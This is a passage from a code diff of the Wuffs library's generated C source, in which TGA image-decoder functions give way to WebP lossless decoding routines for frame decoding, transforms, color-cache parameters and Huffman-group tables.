wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame_config(self, a_dst, a_src); -+ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_frame_config(self, a_dst, a_src); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); - goto exit; - } - status = v_status; -@@ -59751,13 +74248,13 @@ wuffs_tga__decoder__decode_frame_config( - } - - ok: -- self->private_impl.p_decode_frame_config[0] = 0; -+ self->private_impl.p_decode_frame_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; - - goto exit; -@@ -59768,12 +74265,12 @@ wuffs_tga__decoder__decode_frame_config( - return status; - } - --// -------- func tga.decoder.do_decode_frame_config -+// -------- func webp.decoder.do_decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_tga__decoder__do_decode_frame_config( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__do_decode_frame_config( -+ wuffs_webp__decoder* self, - wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); -@@ -59789,7 +74286,7 @@ wuffs_tga__decoder__do_decode_frame_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -@@ -59799,7 +74296,7 @@ wuffs_tga__decoder__do_decode_frame_config( - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_tga__decoder__do_decode_image_config(self, NULL, a_src); -+ status = wuffs_webp__decoder__do_decode_image_config(self, NULL, a_src); - if (a_src) { - iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -@@ -59831,20 +74328,20 @@ wuffs_tga__decoder__do_decode_frame_config( - 0u, - self->private_impl.f_frame_config_io_position, - 0u, -- self->private_impl.f_opaque, - false, -- 4278190080u); -+ false, -+ 0u); - } - self->private_impl.f_call_sequence = 64u; - - ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -+ self->private_impl.p_do_decode_frame_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -59855,12 +74352,12 @@ wuffs_tga__decoder__do_decode_frame_config( - return status; - } - --// -------- func tga.decoder.decode_frame -+// -------- func webp.decoder.decode_frame - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__decode_frame( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__decode_frame( -+ wuffs_webp__decoder* self, - wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__pixel_blend a_blend, -@@ -59889,13 +74386,13 @@ wuffs_tga__decoder__decode_frame( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame(self, -+ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_frame(self, - a_dst, - a_src, - a_blend, -@@ -59904,64 +74401,627 @@ wuffs_tga__decoder__decode_frame( - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func webp.decoder.do_decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_frame( -+ wuffs_webp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_has_more = 0; -+ uint32_t v_width = 0; -+ wuffs_base__slice_u8 v_dst = {0}; -+ wuffs_base__slice_u8 v_tile_data = {0}; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ wuffs_base__slice_u8 v_pix = {0}; -+ uint32_t v_which = 0; -+ uint32_t v_transform_type = 0; -+ uint64_t v_ti = 0; -+ uint64_t v_tj = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ if (coro_susp_point) { -+ v_width = self->private_data.s_do_decode_frame.v_width; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_webp__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ self->private_impl.f_seen_transform[0u] = false; -+ self->private_impl.f_seen_transform[1u] = false; -+ self->private_impl.f_seen_transform[2u] = false; -+ self->private_impl.f_seen_transform[3u] = false; -+ self->private_impl.f_n_transforms = 0u; -+ while (true) { -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_has_more = (self->private_impl.f_bits & 1u); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ if (v_has_more == 0u) { -+ break; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_webp__decoder__decode_transform(self, a_src, a_workbuf); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ v_width = self->private_impl.f_width; -+ if (self->private_impl.f_seen_transform[3u]) { -+ v_width = self->private_impl.f_color_indexing_width; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_overall_color_cache_bits = self->private_impl.f_color_cache_bits; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ status = wuffs_webp__decoder__decode_hg_table(self, a_src, v_width, a_workbuf); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_color_cache_bits = self->private_impl.f_overall_color_cache_bits; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, self->private_impl.f_overall_n_huffman_groups); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ while (true) { -+ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_color_indexing)) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))) || -+ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || -+ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len))) || -+ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(a_workbuf.len)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ v_dst = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_color_indexing)), -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))); -+ v_tile_data = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_1 = wuffs_webp__decoder__decode_pixels(self, -+ v_dst, -+ a_src, -+ v_width, -+ self->private_impl.f_height, -+ v_tile_data, -+ self->private_impl.f_overall_tile_size_log2); -+ v_status = t_1; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -+ } -+ if (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(a_workbuf.len))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ v_pix = wuffs_base__slice_u8__subslice_j(a_workbuf, ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))); -+ v_which = self->private_impl.f_n_transforms; -+ while (v_which > 0u) { -+ v_which -= 1u; -+ v_transform_type = ((uint32_t)(self->private_impl.f_transform_type[v_which])); -+ v_tile_data = wuffs_base__utility__empty_slice_u8(); -+ if (v_transform_type < 2u) { -+ v_ti = ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])); -+ v_tj = ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)])); -+ if ((v_ti <= v_tj) && (v_tj <= ((uint64_t)(a_workbuf.len)))) { -+ v_tile_data = wuffs_base__slice_u8__subslice_ij(a_workbuf, v_ti, v_tj); -+ } -+ } -+ if (v_transform_type == 0u) { -+ wuffs_webp__decoder__apply_transform_predictor(self, v_pix, v_tile_data); -+ } else if (v_transform_type == 1u) { -+ wuffs_webp__decoder__apply_transform_cross_color(self, v_pix, v_tile_data); -+ } else if (v_transform_type == 2u) { -+ wuffs_webp__decoder__apply_transform_subtract_green(self, v_pix); -+ } else { -+ wuffs_webp__decoder__apply_transform_color_indexing(self, v_pix); -+ v_width = self->private_impl.f_width; -+ } -+ } -+ v_status = wuffs_webp__decoder__swizzle(self, a_dst, v_pix, a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_frame.v_width = v_width; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func webp.decoder.decode_transform -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_transform( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint8_t v_c8 = 0; -+ uint32_t v_transform_type = 0; -+ uint32_t v_tile_size_log2 = 0; -+ wuffs_base__slice_u8 v_p = {0}; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_transform; -+ if (coro_susp_point) { -+ v_transform_type = self->private_data.s_decode_transform.v_transform_type; -+ v_tile_size_log2 = self->private_data.s_decode_transform.v_tile_size_log2; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_n_bits < 2u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (self->private_impl.f_n_bits >= 2u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_transform_type = (self->private_impl.f_bits & 3u); -+ self->private_impl.f_bits >>= 2u; -+ self->private_impl.f_n_bits -= 2u; -+ if (self->private_impl.f_seen_transform[v_transform_type] || (self->private_impl.f_n_transforms >= 4u)) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_transform); -+ goto exit; -+ } else if (self->private_impl.f_seen_transform[3u]) { -+ status = wuffs_base__make_status(wuffs_webp__error__unsupported_transform_after_color_indexing_transform); -+ goto exit; -+ } -+ self->private_impl.f_seen_transform[v_transform_type] = true; -+ self->private_impl.f_transform_type[self->private_impl.f_n_transforms] = ((uint8_t)(v_transform_type)); -+ self->private_impl.f_n_transforms += 1u; -+ if (v_transform_type < 2u) { -+ if (self->private_impl.f_n_bits < 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (self->private_impl.f_n_bits >= 3u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_tile_size_log2 = ((self->private_impl.f_bits & 7u) + 2u); -+ self->private_impl.f_transform_tile_size_log2[v_transform_type] = ((uint8_t)(v_tile_size_log2)); -+ self->private_impl.f_bits >>= 3u; -+ self->private_impl.f_n_bits -= 3u; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ while (true) { -+ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)])) > ((uint64_t)(a_workbuf.len)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_webp__decoder__decode_pixels(self, -+ wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])), -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)]))), -+ a_src, -+ ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), -+ ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), -+ wuffs_base__utility__empty_slice_u8(), -+ 0u); -+ v_status = t_2; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ } -+ } else if (v_transform_type == 2u) { -+ } else { -+ if (self->private_impl.f_n_bits < 8u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if (self->private_impl.f_n_bits >= 8u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ self->private_impl.f_color_indexing_palette_size = ((self->private_impl.f_bits & 255u) + 1u); -+ self->private_impl.f_bits >>= 8u; -+ self->private_impl.f_n_bits -= 8u; -+ if (self->private_impl.f_color_indexing_palette_size <= 2u) { -+ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 7u) / 8u); -+ self->private_impl.f_transform_tile_size_log2[3u] = 3u; -+ } else if (self->private_impl.f_color_indexing_palette_size <= 4u) { -+ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 3u) / 4u); -+ self->private_impl.f_transform_tile_size_log2[3u] = 2u; -+ } else if (self->private_impl.f_color_indexing_palette_size <= 16u) { -+ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 1u) / 2u); -+ self->private_impl.f_transform_tile_size_log2[3u] = 1u; -+ } else { -+ self->private_impl.f_color_indexing_width = self->private_impl.f_width; -+ self->private_impl.f_transform_tile_size_log2[3u] = 0u; -+ } -+ if (self->private_impl.f_width >= self->private_impl.f_color_indexing_width) { -+ self->private_impl.f_workbuf_offset_for_color_indexing = (4u * (self->private_impl.f_width - self->private_impl.f_color_indexing_width) * self->private_impl.f_height); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_webp__decoder__decode_pixels(self, -+ wuffs_base__make_slice_u8(self->private_data.f_palette, (4u * self->private_impl.f_color_indexing_palette_size)), -+ a_src, -+ self->private_impl.f_color_indexing_palette_size, -+ 1u, -+ wuffs_base__utility__empty_slice_u8(), -+ 0u); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ wuffs_private_impl__bulk_memset(&self->private_data.f_palette[(4u * self->private_impl.f_color_indexing_palette_size)], (1024u - (4u * self->private_impl.f_color_indexing_palette_size)), 0u); -+ v_p = wuffs_base__make_slice_u8(self->private_data.f_palette, (4u * self->private_impl.f_color_indexing_palette_size)); -+ while (((uint64_t)(v_p.len)) >= 8u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_p.ptr[4u] += v_p.ptr[0u]; -+ v_p.ptr[5u] += v_p.ptr[1u]; -+ v_p.ptr[6u] += v_p.ptr[2u]; -+ v_p.ptr[7u] += v_p.ptr[3u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_p = wuffs_base__slice_u8__subslice_i(v_p, 4u); -+ } -+ } -+ -+ ok: -+ self->private_impl.p_decode_transform = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_transform = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_transform.v_transform_type = v_transform_type; -+ self->private_data.s_decode_transform.v_tile_size_log2 = v_tile_size_log2; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func webp.decoder.decode_color_cache_parameters -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_color_cache_parameters( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_use_color_cache = 0; -+ uint32_t v_color_cache_bits = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_color_cache_parameters; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_use_color_cache = (self->private_impl.f_bits & 1u); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ self->private_impl.f_color_cache_bits = 0u; -+ if (v_use_color_cache != 0u) { -+ if (self->private_impl.f_n_bits < 4u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (self->private_impl.f_n_bits >= 4u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_color_cache_bits = (self->private_impl.f_bits & 15u); -+ self->private_impl.f_bits >>= 4u; -+ self->private_impl.f_n_bits -= 4u; -+ if ((v_color_cache_bits < 1u) || (11u < v_color_cache_bits)) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_color_cache); - goto exit; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ self->private_impl.f_color_cache_bits = v_color_cache_bits; - } - -+ goto ok; - ok: -- self->private_impl.p_decode_frame[0] = 0; -+ self->private_impl.p_decode_color_cache_parameters = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ self->private_impl.p_decode_color_cache_parameters = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -+ - return status; - } - --// -------- func tga.decoder.do_decode_frame -+// -------- func webp.decoder.decode_hg_table - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_tga__decoder__do_decode_frame( -- wuffs_tga__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -+wuffs_webp__decoder__decode_hg_table( -+ wuffs_webp__decoder* self, - wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+ uint32_t a_width, -+ wuffs_base__slice_u8 a_workbuf) { - wuffs_base__status status = wuffs_base__make_status(NULL); - - wuffs_base__status v_status = wuffs_base__make_status(NULL); -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint64_t v_dst_bytes_per_pixel = 0; -- uint32_t v_dst_x = 0; -- uint32_t v_dst_y = 0; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 